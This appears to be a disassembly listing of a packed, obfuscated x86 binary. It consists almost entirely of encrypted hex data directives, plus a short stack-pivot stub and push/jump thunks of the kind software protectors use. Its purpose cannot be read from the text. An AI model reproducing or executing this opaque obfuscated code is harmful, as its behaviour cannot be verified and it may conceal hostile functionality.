		dd 43F445CFh, 0DE8FE068h, 77287905h, 36C4159Bh,	1EA480A5h
		dd 0BC3E1CCDh, 59DDBA6Bh, 0F10F5708h, 2665F3A0h, 37F0FAD0h
		dd 9F1E1CF2h, 0DB2A5B57h, 89476D50h, 38808129h,	9371721Ah
		dd 8B686911h, 0FB945F07h, 8019541Ch, 6280C899h,	441E5311h
		dd 1E762BAh, 0B85E55D2h, 0Ch, 815D927Ah, 1BC4A3FBh, 0D6000001h
		dd 0E4309092h, 1A941CF0h, 0E6E95D9Ch, 0B92931C2h, 0E67FD661h
		dd 47DC31C2h, 83D7FFDh,	0C44FA72Bh, 37F4ADE1h, 4D4FCD3Dh
		dd 6CCD524Fh, 0A8A0AA0Ah, 0FE8CF8BCh, 0C7E52D9Eh, 64ACE16Fh
		dd 0FC44F546h, 0C56DEFCDh, 1ECD75D5h, 82C13F89h, 31DC9E71h
		dd 0B0064587h, 0D23D9CDCh, 0F26C4A84h, 1F7F597Bh, 949A7AE1h
		dd 0EE4686A0h, 46AD1282h, 9A4A89E6h, 5C90362h, 0E82F0000h
		dd 0ECC677C8h, 85601162h, 22FBACFDh, 0B8944596h, 0BA53E132h
		dd 0EC3DC39Fh, 8ADB5D3Bh, 2778FCD9h, 0BF102E76h, 0F1458412h
		dd 1137F0FBh, 579F3D3Bh, 4E839139h, 1394EC72h, 3A05ADCBh
		dd 0A1E9E6A1h, 0F6D00583h, 4EF6825Bh, 6656FE5Eh, 1C02AD0Eh
		dd 0D35E5652h, 0Ch, 2AB08CC1h, 3F4118D2h, 53000000h, 7A069092h
		dd 36F1CC06h, 0BD65E7C5h, 0ACF475CDh, 9DE5E68Eh, 9FE8D77Fh
		dd 5998DAF8h, 31C260E5h, 43C7A425h, 0F34BAB9Bh,	8E0C2A72h
		dd 9BF31159h, 282B3Ah, 34690000h, 3929D159h, 579F27E1h
		dd 0FDC695Bh, 73F179F5h, 0C2ECDE34h, 30900031h,	0EC0C7D88h
		dd 0D97231C2h, 0BBD9213Eh, 5092806Ah, 0C2BABD11h, 156DDD31h
		dd 0B02E4C94h, 0BADB2F6Eh, 0AD1931C2h, 0F2F9CF71h, 0D12999F5h
		dd 8BD56A19h, 78FAD80Dh, 1B509220h, 2010B840h, 0F44CD4AFh
		dd 0F42CB269h, 38CDA37h, 0C5701949h, 52FA7E5Bh,	24A20262h
		dd 328A16EFh, 0E12062A4h, 37F1346Dh, 361AE8CBh,	7EDAD7A0h
		dd 0ED35B60Eh, 96F278F1h, 0A0DE99E4h, 496FE551h, 3485E5F5h
		dd 751D3B83h, 90E62567h, 0B237F167h, 3185C442h,	5137F164h
		dd 0C55A89E1h, 0EAC8FD7Bh, 43821068h, 31C72FF9h, 237B525h
		dd 9A4B9CBAh, 0DD8C3452h, 3E80FE48h, 0FDA52F09h, 52AB50Dh
		dd 0A53B88DAh, 0A75DD035h, 7BB350BDh, 44A1Ch, 4969B000h
		dd 0E36D47F8h, 7E06E192h, 17A37C2Dh, 0B33915C6h, 1E3BD462h
		dd 0BA6BBC42h, 58095ADCh, 0F5A6F77Bh, 913E8FADh, 0F84EC403h
		dd 0BA9037F0h, 39579FBCh, 0A6E82AE8h, 0C2BA1367h, 48C33331h
		dd 31C2BAF2h, 0E726A414h, 31C2BA93h, 6AEB43B3h,	5B5C0422h
		dd 824DF513h, 0F9A17BB0h, 0C2BB44BAh, 0B6168631h, 510E095Eh
		dd 0DC9AEB09h, 9D45CBA7h, 0DE61C0CFh, 70D06552h, 0E2B79D18h
		dd 486E5E55h, 5C000000h, 54C54B27h, 0DC96EE0Ch,	0BD115092h
		dd 0DD31C2BAh, 51E6156Dh, 31911DF6h, 9CB74B3h, 65F337EFh
		dd 0EEF5D026h, 2282F237h, 0E926FA4h, 0F58E02BDh, 73BB37EEh
		dd 76530455h, 73C4AF2h,	0FFFA729h, 381D8B7h, 0F1EA0000h
		dd 0A024015Ch, 2AA808F8h, 0EEEB6AEBh, 623B7037h, 0E63E2ED6h
		dd 981CF97Ah, 3D85BA38h, 4AC320Eh, 0A45CB414h, 953D5BA3h
		dd 0F7BA5DA6h, 659A1862h, 8C16F08Bh, 3C94F4E4h,	0F52A6CAEh
		dd 0A317921Ah, 0E337EE88h, 0C7901B73h, 3731C2D9h, 821776C7h
		dd 0FA7BBA38h, 223BB688h, 8EA60ED4h, 94F4C8F6h,	780FEBECh
		dd 7B6B139Fh, 9472731Bh, 90696A12h, 0FB6C5C04h,	0EEEF9721h
		dd 0E52E8D11h, 0ABC43E22h, 66B045ECh, 78A8A9E8h, 0CF50256Ah
		dd 0BE0F6FF1h, 0FFA7C50Dh, 4798B6FEh, 100C5489h, 0C3B8AF58h
		dd 0B75FBFA2h, 0AB406FC7h, 8FA4E361h, 0ED2F5E72h, 0FB53DFB8h
		dd 6C771F8Fh, 2F1E7812h, 0AE8ABF11h, 38908028h,	4B3124E3h
		dd 23F798Bh, 38h, 7F5D92C4h, 0D6555FDh,	81FF49DEh, 0FAB4DC7Fh
		dd 0C23947BBh, 0D9178731h, 3B9358A7h, 0BF356EADh, 0F56537EEh
		dd 3FC8424Dh, 0CEE737EEh, 0CD361CCBh, 0FFED5829h, 0AF000000h
		dd 0BB39579Fh, 0E945AB86h, 0EC8A33E9h, 0B6A64EAEh, 0C9A5A65Eh
		dd 4483C543h, 31C25DCEh, 2CB48F10h, 0DC349484h,	0BDDB2324h
		dd 0A5310A3Fh, 0FDB50DFDh, 1896B4FCh, 8E926E16h, 4BA3D147h
		dd 0A6E02FEAh, 0B7FF31C2h, 7D25AD88h, 942176AFh, 0E6E0888h
		dd 9F2E30AEh, 784EBDFAh, 0CF8DEE46h, 0DE36C09Ah, 9E6155Dh
		dd 0CE7D2585h, 3271EF39h, 37EEBE15h, 0A50455C5h, 648C610h
		dd 0EE3E73C7h, 0CB239337h, 77F9FB3Dh, 0F04685F7h, 1237EE7Ah
		dd 890B64A2h, 852CB70Fh, 2931DD53h, 2A063BB9h, 0C6A253A4h
		dd 6D4CDB40h, 7CB44A86h, 1CA1Dh, 0C9E93000h, 63EDC778h
		dd 0FE866112h, 9723FCADh, 33B99546h, 9EBB54E2h,	3AEB3CC2h
		dd 0D889DA5Ch, 752677FBh, 11BE0F2Dh, 0FFCE4483h, 3A1037F0h
		dd 5FC39F3Ch, 62D9C63Bh, 68ECC930h, 3270D0C0h, 36384E14h
		dd 0B30464EFh, 1E9CBA02h, 31890BE9h, 9092E6D0h,	0D57D6D9Fh
		dd 0C6F54DEEh, 2769E731h, 4E45E3E5h, 0ABF6AFE3h, 0C27BDA30h
		dd 348CFC31h, 0EE1F78A9h, 0B230A037h, 0F646D6B0h, 0D72FE5F3h
		dd 0CBA141Fh, 0A0B937EEh, 9C08EEF9h, 0CBBF5829h, 81000000h
		dd 9139579Fh, 8C024183h, 0EC31C2BAh, 44A92C73h,	6CDC389Dh
		dd 31B79314h, 12337E89h, 64E31C2h, 0C9718FD7h, 772879D9h
		dd 9AF4332Fh, 0D1E1AB1Ah, 69FAA894h, 0D13191C2h, 0BC421E53h
		dd 68FDAC64h, 0B14DC100h, 1D8D31C2h, 43003FBDh,	9337EEE5h
		dd 0DE73D223h, 0F141694h, 0A43E0D81h, 0E040CCA5h, 0F7BBFA88h
		dd 1731DD04h, 0A0F44A89h, 23013D99h, 0AD09F9A1h, 2A5FDD3Dh
		dd 0C677C84Eh, 12FF64EAh, 0CE4A8696h, 0AD3796h,	0CC130000h
		dd 0D0AA5BACh, 6944F546h, 6DF90E1h, 9C78297Ah, 0A637C516h
		dd 0D021A783h, 6EBF411Fh, 0B5CE0BDh, 0A3F4125Ah, 0D52968F6h
		dd 0F537F0FCh, 0C39F211Fh, 0B08ABF3Dh, 368E7E26h, 0BEDC24D5h
		dd 579F836Dh, 4E839139h, 3341E975h, 0C2BA9EF4h,	0F050C031h
		dd 0C41CA47Fh, 8CDDFB43h, 0D04E982Dh, 0F4F10791h, 89077737h
		dd 2821FA87h, 348C196Eh, 15337B7Ch, 0ADCB13C4h,	49F6FA05h
		dd 93157286h, 0A4FC825Eh, 4F97484Fh, 0E72FE031h, 472021C9h
		dd 0F00913BBh, 0D2F03829h, 6A88D081h, 0D63C2h, 0F7750000h
		dd 1268A7E9h, 3431C2BAh, 9FB26CC4h, 8F903858h, 80812947h
		dd 76771FA3h, 6D6E1698h, 62630B91h, 57580086h, 494AF27Eh
		dd 3D3EE66Eh, 1531D963h, 81E28952h, 4C2h, 4EA8300h, 31241433h
		dd 14332414h, 67685C24h, 8900003Ch, 8668242Ch, 89000046h
		dd 68572434h, 126F46B9h, 0FFEF815Fh
		dd 81FFFFFFh, 8C4B3ECFh, 64C78129h, 89CA42E8h, 8B545FFDh
		dd 0C4812434h, 4, 42CB68h, 242C8900h, 0ED243481h, 8F72C803h
		dd 76810846h, 0C803ED08h, 24348B72h, 81E78957h,	4C7h, 4C78300h
		dd 5C243C87h, 5D2434FFh, 0E904C483h, 0FFFA34CAh, 917B3C28h
		dd 5EB84E8Bh, 3063247h,	0FAE0FFC5h, 1733E53Ch, 150D96F0h
		dd 8747500Bh, 0AD5E92DFh, 0B27C51C3h, 0E9420B92h, 0Fh
		dd 3EEA6A4Fh, 2	dup(0)
		dd 0E9000000h, 514h, 0C516367Dh, 5FB03A14h, 0FA4BD3AEh
		dd 93E47049h, 2F8006E2h, 11ED08A1h, 0AB893A8Bh,	4A27D829h
		dd 7CC475C6h, 0D2600D5Eh, 0F0F23F93h, 8B895F37h, 9139579Fh
		dd 0DD2EB490h, 57AF1D1Fh, 7C4880CDh, 3D5BA324h,	2E4C9495h
		dd 21AB8586h, 6088A79h,	664300D9h, 0F54AA24Bh, 0D7F53D12h
		dd 37C6C886h, 0D14865FBh, 2CD62D6h, 0C828D8E2h,	8E12EF70h
		dd 2BAF8C3Dh, 0D62C6BADh, 0F831C22Bh, 77783088h, 97991799h
		dd 0BCB468A6h, 0AA62BAD1h, 0CF8087A0h, 6C1D6EF2h, 535E0624h
		dd 31C29CFAh, 1A9330Dh,	0F39B2700h, 0C7987F18h,	0CBBB63EDh
		dd 306CB6Bh, 562B6E54h,	7C255Eh, 9FE70000h, 86BB3957h
		dd 12CA22ACh, 0C2BAB107h, 0CDCC9131h, 5652341Ah, 1EB5Eh
		dd 92AD0000h, 7BCF0E50h, 9B31C2BAh, 0BA5AB02Bh,	0C7C31C2h
		dd 0BE5933B4h, 50F85876h, 8ECD754Fh, 31C2BA38h,	0E28AEA5Ah
		dd 8CF9D2D4h, 869C6213h, 48D4AD2Eh, 3DC39FA0h, 2E4C9495h
		dd 7712AB86h, 0C4C30C6Bh, 2653FCFEh, 0E77D53E9h, 0AA340E8Fh
		dd 8A669B59h, 815B5C04h, 0FF5F4FF7h, 0C0DE26A7h, 0C39F856Fh
		dd 0BA94953Dh, 24BD8830h, 0EC906C65h, 0C2BA59ADh, 85BC9731h
		dd 7B987FCAh, 0FE4FAF1Fh, 3FE7054Dh, 5AB0EF31h,	7C31C2DAh
		dd 5833B40Ch, 0F81128D0h, 0EF704611h, 5C075E55h, 0C9000000h
		dd 953DC39Fh, 8931B994h, 8CB6519Ah, 74E2A88Ah, 0E33BA4BFh
		dd 0AF008662h, 0F49C22FEh, 108E1AF3h, 0C2AF620Eh, 86DE449Ch
		dd 0FB9EB7CEh, 564D16ECh, 69AD5Eh, 9F6F0000h, 94953DC3h
		dd 8A8B33B7h, 74CA09AFh, 9631C2BAh, 1D1EC626h, 812BA42h
		dd 934828EFh, 3A16CBCEh, 9F7963B4h, 0C6502AC5h,	0D5B3E866h
		dd 7CDCFA42h, 0E8616C24h, 0EC31C2BAh, 2D626027h, 0F4ECC50h
		dd 31C2BABBh, 98136BDBh, 5E5651B2h, 1669h, 0D6155700h
		dd 31C2B660h, 0CC28B48Dh, 2B9FDE5Ch, 6B31C2B6h,	9FE9A3FBh
		dd 93943CC4h, 92DA0F4Bh, 61DCCC74h, 31C2BAEDh, 4AACD44Bh
		dd 0D12D9CCDh, 0FE872361h, 507934A5h, 253E48F0h, 0A926D62h
		dd 6AC55AB9h, 6F5F078Fh, 815C910Fh, 0D413A1F9h,	37EEB273h
		dd 85933BABh, 5CC2783h,	76CEF736h, 3271ADF5h, 37EE4BDCh
		dd 0DD2E8EFEh, 1EC6E42Ch, 0EE4BBD13h, 0C4C38837h, 68ECC9FEh
		dd 29478F10h, 0C1DF27D8h, 0B2D01819h, 0E3A63F0Ah, 3788A6EEh
		dd 82F83779h, 0C437EE4Bh, 9B81FC54h, 0EE582960h, 0FC54E0B9h
		dd 130D2h, 5D929400h, 75A4FC80h, 0D91896E0h, 37EEDDF8h
		dd 0FD32B020h, 8B439B21h, 0D324428Ah, 14BCDA22h, 5ADCB13h
		dd 0F79F2B04h, 0ED9519F6h, 418C0EECh, 0C601E1A8h, 2D756A2Dh
		dd 2D13BE0Fh, 0E4582A2Fh, 80h, 845D92A6h, 86050F8h, 7DFB45D9h
		dd 0BA86FC3Bh, 0D6B331C2h, 2E86F652h, 0BACD61A0h, 0F62BB1C2h
		dd 0F8E890AEh, 1CC434A0h, 0C2BABD11h, 0B255EEB1h, 2FF28E90h
		dd 0FCBCFE32h, 86E175A4h, 0D7B526A8h, 5DBDAD55h, 310AA0DFh
		dd 286A31C2h, 0C23195E9h, 0ED45B531h, 2C01181h,	0F4771400h
		dd 71E22044h, 76660E96h, 833F1Eh, 7B7D0000h, 27DB5C3Dh
		dd 696D352Eh, 802B5795h, 0FDA52906h, 9B55AD0Dh,	6969092h
		dd 6462B676h, 0FE48DD0Ch, 8BFF3E80h, 0CB31C290h, 3675035Bh
		dd 37EEE041h, 68691181h, 0F3B10220h, 0B159E5BEh, 0A0E869C1h
		dd 0E6020482h, 0F014622h, 0DEE9A1F9h, 37EE446Fh, 0D9F69156h
		dd 0C3227391h, 2766E42Eh, 31D802C5h, 0B9FB79E9h, 9DF2047Ah
		dd 7ED6463Dh, 5F7DC5C6h, 0F594ADB7h, 0D14F992Eh, 0AA4A2A92h
		dd 93E4543Bh, 125CF1A9h, 2F75594h, 0A71737F5h, 0E3BCF1FFh
		dd 67BFAF57h, 2F809EE6h, 7018367Eh, 0A8A9ED65h,	0C6C10A6Ch
		dd 52A3C109h, 0DE1D59A1h, 0EC8D568h, 32DA3AAAh,	8E12EF24h
		dd 2599D8E6h, 650EC8D5h, 0BC3D95F5h, 0B8F739E3h, 0EC8D542h
		dd 25991484h, 500EC8D5h, 2191ED75h, 3D1819C1h, 330C0DB5h
		dd 0D45A36A7h, 0D1B8512Ch, 9B7E9711h, 0F607EC6h, 7AD00F51h
		dd 9C0EC8D5h, 0B53D42Ch, 19E645EDh, 24000000h, 328A16EFh
		dd 58909278h, 27D5B848h, 4AEE64A3h, 0C03031C2h,	0A5DF0860h
		dd 9038589Fh, 8129478Fh, 771FA380h, 6E169876h, 630B916Dh
		dd 58008662h, 4AF27E57h, 3EE66E49h, 31D9633Dh, 976815h
		dd 14890000h, 59266824h, 3C890000h, 0E6895624h,	4C681h
		dd 0EE810000h, 4, 5C243487h, 0BF243489h, 38CE1763h, 17C5CF81h
		dd 0DF8735EEh, 81DF8743h, 0EE162CC7h, 36F7811Dh, 545DEE66h
		dd 8124348Bh, 4C4h, 0FD895500h,	8468F55h, 2434FF5Dh, 4C4815Eh
		dd 8B000000h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		db 0E0h
		dd 4B7FC82Eh, 8EDCD64h,	324CB7B8h, 0FFC50306h, 13F919E0h
		dd 0F522C61Ch, 88F63D73h, 2BFF2F33h, 1E315719h,	0FFC61871h
		dd 0D51B9A31h, 0EEC80F12h, 0E6202629h, 2E32D902h, 0DE840h
		dd 79AA0000h, 1933E23h,	1E6E764Bh, 0BA965205h, 635F6F1Dh
		dd 0B7C28059h, 6ADBC181h, 5CB80000h, 0BE540DF3h, 1A8Dh
		dd 0EE78166h, 81198BC8h, 0FB41CAC7h, 25C3812Eh,	6661D8D4h
		dd 6879E781h, 8008F381h, 8166611Bh, 81020BE2h, 0D52372EBh
		dd 80B6BA7Ch, 665374D7h, 18FFA8Bh, 0F2F8B7B8h, 3E9830Fh
		dd 0F549FE8Bh, 1C850F4Eh, 51000000h, 5FC38B66h,	34E9h
		dd 0CA99A700h, 0B261F503h, 5E123514h, 58909738h, 0FC48CD4h
		dd 689h, 0DFE08100h, 0E91CA8C6h, 0FFFFFF91h, 8F978D79h
		dd 3DA0730Ah, 0B51C7619h, 1DF288FCh, 17FE937h, 1C060000h
		dd 2C270B08h, 98D31AD5h, 0D1D746B1h, 41EFB4CAh,	52E45B7Eh
		dd 0FB6D5D97h, 9244FCA3h, 92A59EB9h, 0E495BCD7h, 0CB0093B9h
		dd 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h, 9755FC00h
		dd 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h, 0B5F600CCh
		dd 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch, 0ACE5h
		dd 1, 42h dup(0)
		dd 97000000h, 33A26D84h, 0EE69F0h, 100FE900h, 62680000h
		dd 0E9063251h, 0FFFAF6E1h, 32527D68h, 0F6D7E906h, 3168FFFAh
		dd 0E9063254h, 0FFFAF6CDh, 32550668h, 0F6C3E906h, 2F68FFFAh
		dd 0E9063256h, 0FFFAF6B9h, 32570868h, 0F6AFE906h, 0CF68FFFAh
		dd 0E9063257h, 0FFFAF6A5h, 32584268h, 0F69BE906h, 4668FFFAh
		dd 0E9063259h, 0FFFAF691h, 3259BE68h, 0F687E906h, 4468FFFAh
		dd 0E906325Ah, 0FFFAF67Dh, 325B1468h, 0F673E906h, 0C968FFFAh
		dd 0E906325Bh, 0FFFAF669h, 325D0668h, 0F65FE906h, 2D68FFFAh
		dd 0E906325Eh, 0FFFAF655h, 9B194B78h, 1A98CAF5h, 9B197B74h
		dd 1D9BC3F5h, 9B194577h, 93C99EBBh, 1B47ED6Bh, 97C76DEBh
		dd 104BF16Fh, 0ABD674F2h, 923D128Fh, 70A67377h,	0FE55BFAEh
		dd 4EABD908h, 5BB9B4A6h, 24A18DDh, 0FE300ABh, 7F79E5A1h
		dd 73778FECh, 2B47B82Eh, 0EEE76480h, 0A4487797h, 73CB6F47h
		dd 97EEE25Bh, 0A853EA77h, 97EF0F8Ch, 6FCC7077h,	721F5644h
		dd 0C6B751Ah, 41h, 0C403F966h, 0D6A4EA6h, 8FE626FCh, 0B8A8DB73h
		dd 87DE8247h, 7110B16Ah, 0CA6C2DD9h, 361A7290h,	0A01931D9h
		dd 0E77797B9h, 44368EF4h, 0AB91E90Bh, 2C0D9EFCh, 0A5EC8911h
		dd 0D96B7553h, 0B6h, 55BFAE33h,	0BA3753FEh, 1B7DC48Ch
		dd 0CB721A77h, 257DE5D5h, 0FAF2E441h, 134A3C94h, 0B4A799F1h
		dd 5504D04Eh, 7DC4B5h, 8329A7CDh, 0C1D22A48h, 9EDE76FDh
		dd 0B0086A61h, 0B5BA03CCh, 9B40B9Fh, 966E5EECh,	116E7519h
		dd 0B85A09F9h, 2EAC5047h, 0FC539569h, 89FADBE0h, 61B85C41h
		dd 0B60D716Bh, 0B688EC0h, 39A5973Dh, 0C717FC77h, 5E9BB355h
		dd 0D9Ah, 6FED1F4Ch, 0EE6C9EC9h, 6FED1748h, 0F16F97C9h
		dd 6FED114Bh, 0AF9D728Fh, 2F1BC13Fh, 0A39B41BFh, 2C1FC543h
		dd 7FAA48C6h, 923BE663h, 447A4777h, 0F950BEAEh,	261D2DCh
		dd 7BD8468Fh, 0AED407ADh, 0B38F8630h, 6E062279h, 1547B8A8h
		dd 88011971h, 0CF779868h, 281A7290h, 37469639h,	635EF2E2h
		dd 1C3777CFh, 0B54C2D7Eh, 0B6383BFh, 0CCB4864h,	882C7798h
		dd 2E6C97F4h, 75004A47h, 0DA346Bh, 0F98E0000h, 2CB304DCh
		dd 2582FC65h, 0FB173833h, 7DC42E7Eh, 2E77F410h,	34D87DC4h
		dd 1C7408ACh, 0C9775875h, 7C6697A7h, 0E5C92143h, 0C9A48851h
		dd 0AA64BD84h, 0FD615B4Dh, 0D9DE8DA5h, 52897DC3h, 0D10CB230h
		dd 65F9857Eh, 0CB5F7CCEh, 4C9C6273h, 50E9D9F5h,	446147B8h
		dd 38549BC2h, 779830BBh, 64AF781Ch, 542C891Dh, 8E3C59B0h
		dd 0E35C6627h, 0E1A674D1h, 5874CB1Dh, 4189C842h, 0F4EA41E5h
		dd 223F96F8h, 7B4B4C97h, 43116E89h, 7D3FAF9Dh, 55C76AFCh
		dd 7F5E9BB3h, 3100000Ch, 0AE54D234h, 2DD351B3h,	0AE54D23Ch
		dd 30D654BAh, 7454D23Ch, 244A8257h, 0A4C200A6h,	284E8026h
		dd 0ABC904AAh, 48648F2Dh, 77923ACBh, 0AE295F2Ch, 2CD250BEh
		dd 6797C531h, 5D892B0Fh, 711B992Dh, 0A7C703F9h,	8CB73450h
		dd 74187DC4h, 0CC362517h, 0E5D7CD74h, 21082179h, 0D7E30126h
		dd 8F81DE72h, 5DB8365Ch, 0AC097567h, 2E85C79Bh,	0B7E93212h
		dd 5DB55947h, 757A99B6h, 0B56285D6h, 3902B8F3h,	84E1C5C4h
		dd 9792F36Ch, 0BAE0FB77h, 5389112Eh, 7AC067A7h,	217EE0D8h
		dd 74A98A07h, 6DF46Bh, 8F4E0000h, 62279B3h, 47B8897Ah
		dd 6B852801h, 0F2046365h, 0B45F065Eh, 97961B98h, 7BD87C77h
		dd 9795EA63h, 0C3D7F277h, 7572DFB2h, 3D9F6Bh, 52480000h
		dd 0A399F614h, 7844B38Fh, 387138CBh, 0C92AA7C3h, 0E78B7DC3h
		dd 4C68BF53h, 47B815C0h, 334BA347h, 779797BAh, 0F5F3A7C2h
		dd 113731D8h, 8FEC6D99h, 750E1C75h, 11626Bh, 63BC0000h
		dd 867h, 6D97C6BCh, 0C6242315h,	0F9DFD532h, 4EABCB03h
		dd 0D027613Dh, 0B2FDC4B4h, 10670B47h, 0C76469F3h, 0DC397F24h
		dd 0D80C3F35h, 3F237BE9h, 0F93754ABh, 0F75BD74Bh, 288351AEh
		dd 78D53732h, 0D52D5786h, 57AEFEC4h, 0DEC253Ah,	0AD0AF35Bh
		dd 6E91EA06h, 0EDE34180h, 0FEF092FCh, 0BF633B98h, 60A0BD68h
		dd 0A9264247h, 0A715F94h, 0E32F9D66h, 0FCEFE13Eh, 7B721896h
		dd 86E6056h, 5FF8C340h,	6D37E371h, 0CE175FEDh, 0B60EA246h
		dd 388FD9A5h, 53FE081Ch, 490BAF3Bh, 4B0CBA56h, 0CB1C5971h
		dd 7D00000Ah, 0FAA01E40h, 791F9DCFh, 0FAA01E40h, 7C22A0C6h
		dd 0C0A01E40h, 709ECEA3h, 0F01E4CF2h, 7492CC72h, 0F71D50F6h
		dd 94B0DB79h, 77923917h, 8875AB78h, 7DC48A0Fh, 0CA216B37h
		dd 12C6021Fh, 17CFCE5Ah, 0CA2A2BAh, 650947B2h, 0C5C22E7h
		dd 0D8140AB5h, 0B27A5EB6h, 77914F35h, 0EE95F296h, 7FBEEAD2h
		dd 368D3141h, 69E70D40h, 126A88C3h, 94EB3D01h, 0A5223EE9h
		dd 6715F00h, 0CD57E32Dh, 17AB12BAh, 1861A2BAh, 0BE623B4Dh
		dd 23A0BC67h, 846B2C5Bh, 0E6DC83E0h, 19368DF7h,	9DBF3791h
		dd 8553B0D5h, 2F86ECDFh, 89E10139h, 4649C6E2h, 6AA6B2Ch
		dd 759FD072h, 34DC391Dh, 2C459D1Ch, 0B3F5C9EBh,	6774405Ch
		dd 0D77BB520h, 58607815h, 5A97AFC1h, 9F6h, 0CB49BBA8h
		dd 4AC83A25h, 0CB49ABA4h, 4DCB3325h, 0CB49B5A7h, 0C3F9CEEBh
		dd 4B771D9Bh, 0C7F79D1Bh, 407B219Fh, 0DB06A422h, 923842BFh
		dd 0A0D6A377h, 2279B38Fh, 0B2FC0606h, 72C96D47h, 0A523417Ch
		dd 0A098CCFFh, 6E02E63Eh, 4E1CFA17h, 3FF02AF4h,	55293AE2h
		dd 1B11BC13h, 8367BF2Fh, 0A6220E26h, 2694180h, 0ECB4D20Ch
		dd 715FE76Fh, 41982CD0h, 9BF2104Bh, 0F34BB3A5h,	4CA4C601h
		dd 0A977D468h, 53AAC803h, 0AD056D5Dh, 0D95672C9h, 3A715FE7h
		dd 80913996h, 0F7136AA2h, 3B4E56CEh, 0E994EB8Fh, 2D9950CDh
		dd 0B00DB16Bh, 0BAD81309h, 3DA7963Ch, 0EE213EE5h, 9F95C21Ah
		dd 0C32120C2h, 6CD54E66h, 21FD6B2Eh, 7571E7D9h,	45298115h
		dd 6D55D2EEh, 12B66B2Eh, 607C277Eh, 6B2E6CE3h, 9C43A044h
		dd 1CDC5C80h, 0E1375435h, 401BBF8Dh, 55F9D12Eh,	0BA3753FEh
		dd 1B64FBE7h, 7D731A77h, 0BC22164Eh, 0C904AA28h, 7C4253ABh
		dd 0D1B9D52Ch, 182EEA57h, 370B1C74h, 4A829EF5h,	3128BDECh
		dd 25C0CB8Dh, 0D7EF7CBBh, 8CD9Ah, 20427F00h, 9FCDFCA2h
		dd 20427B21h, 0A2C4FCA2h, 204E7E24h, 0D0A5C2A2h, 4EF4729Ch
		dd 0CE74F210h, 52F8769Ch, 0DD7BF91Bh, 371996B2h, 0AD7A7792h
		dd 55BFAE77h, 0B2D00BFDh, 87A655Bh, 0C76FCCB0h,	0C0FAF087h
		dd 9664AA2h, 812CBCDEh,	0C48CE865h, 48A5497Dh, 7FFD6756h
		dd 487FE0B1h, 0C9E65h, 63F80000h, 4AEh,	699BC6BCh, 7FA5160Ch
		dd 378EDEA4h, 0B8AA4F1Bh, 0FB25647h, 0AD597083h, 0C606DC02h
		dd 0C217536Fh, 392F6E80h, 0A880DD0Dh, 0C79BAC04h, 9329A6C2h
		dd 0E68A9E60h, 7ADFFB52h, 0BB68513Dh, 56AED009h, 82FF1B72h
		dd 0E398310Ch, 5E54AB3Fh, 0B8AE056Fh, 5E055D87h, 310CC542h
		dd 0EE822698h, 7268C391h, 0CBBD1A78h, 0D7B07290h, 0BABC0F85h
		dd 7F465A2h, 0B9A60000h, 2423C947h, 0A9A248C6h,	2D23C947h
		dd 0B7A54BC9h, 0CCE9C947h, 1B99C5F7h, 9B194975h, 1F9DC5F5h
		dd 0A2204279h, 40BDD904h, 0A1779236h, 0BFAE9ED4h, 93EB1B47h
		dd 0AEABE6AFh, 2BB60687h, 0A2983F97h, 0FDEF47A9h, 694DA5CDh
		dd 568678D5h, 19E5AA28h, 4B8278CFh, 2DC1251Bh, 0ED94F1D5h
		dd 0B2E5BFD1h, 0A19D9347h, 0A805E941h, 2AD52CD0h, 84DC3A34h
		dd 0DF375992h, 180A67FBh, 9B41BF25h, 0F5EB42A0h, 60449CC6h
		dd 744A5B03h, 0D5C1DD34h, 4D418097h, 0DA0986A2h, 0C66A715Fh
		dd 0EFDF9169h, 0A69CF387h, 29CF4DB7h, 6A88C232h, 0F5652E12h
		dd 74C1331Eh, 0F6E840D4h, 30568AC6h, 0FC1FDA9Ch, 728A55F8h
		dd 72D35h, 80E2DF00h, 0FF6D5C02h, 80E2DB81h, 2645C02h
		dd 80EEDE84h, 30052202h, 0AE54D23Ch, 2ED452B0h,	0B258D63Ch
		dd 3DDB59BBh, 3579F612h, 0DDA7792h, 44B38FD7h, 26D32CA3h
		dd 489F3367h, 4EB4A79Dh, 9DB512F6h, 47B2A4B1h, 7FD54F8h
		dd 0AA51AED4h, 0DD5BB9B4h, 86DE0437h, 1651A975h, 24B89CF4h
		dd 314DB1CDh, 0F0944186h, 0C2C9492Eh, 1B587055h, 6BAh
		dd 8F0D7F6Ch, 0E8CFEE9h, 8F0D7768h, 118FF7E9h, 8F0D716Bh
		dd 8FBD92AFh, 0F3BE15Fh, 83BB61DFh, 0C3FE563h, 9FCA68E6h
		dd 92350683h, 649A6777h, 0FD55BFAEh, 5AB2D00Bh,	0B40C7A68h
		dd 0C648AC2h, 0A1D143F3h, 0AF29303Ch, 0E1D1DAC0h, 92C9D4C6h
		dd 6D24F270h, 11654913h, 0Ch, 2A0636Bh,	0C6BC0000h, 180E6B95h
		dd 0ABCB03F9h, 20126F53h, 0C86FC72Dh, 8C84011Dh, 33E57DC4h
		dd 0EA47DB3Bh, 6CC305D9h, 0B2FD6450h, 0B007AB47h, 5E3CC693h
		dd 5183A457h, 14E0CF39h, 46147105h, 0F047ADA0h,	479FC1FAh
		dd 6C5E0663h, 0C1B70E70h, 3A086585h, 85FA975h, 80F2E7ECh
		dd 6DC46841h, 3529A6C2h, 0B18A7160h, 2299EFC7h,	0DAF43E1h
		dd 0AE55B2DCh, 0B0D20D03h, 86A6153h, 6082BBB1h,	5C8F3503h
		dd 0F0ECDE36h, 5925368Eh, 8BC2B80Fh, 0D02D1169h, 879D0D29h
		dd 40E43B54h, 0C05477Eh, 0B5F20A4Bh, 5B6h, 8B097B68h, 0A88FAE5h
		dd 8B096B64h, 0D8BF3E5h, 8B097567h, 83B98EABh, 0B37DD5Bh
		dd 87B75DDBh, 3BE15Fh, 9BC664E2h, 9234027Fh, 60966377h
		dd 0FD55BFAEh, 0A6A4D00Bh, 1C5CB448h, 594F9901h, 92F0EE6Eh
		dd 20C2A6FEh, 7466C321h, 429D1B79h, 0FBA53D25h,	0C4214A04h
		dd 4931E7AAh, 79765h, 63F10000h, 130h, 55BFAE6Dh, 9C065A93h
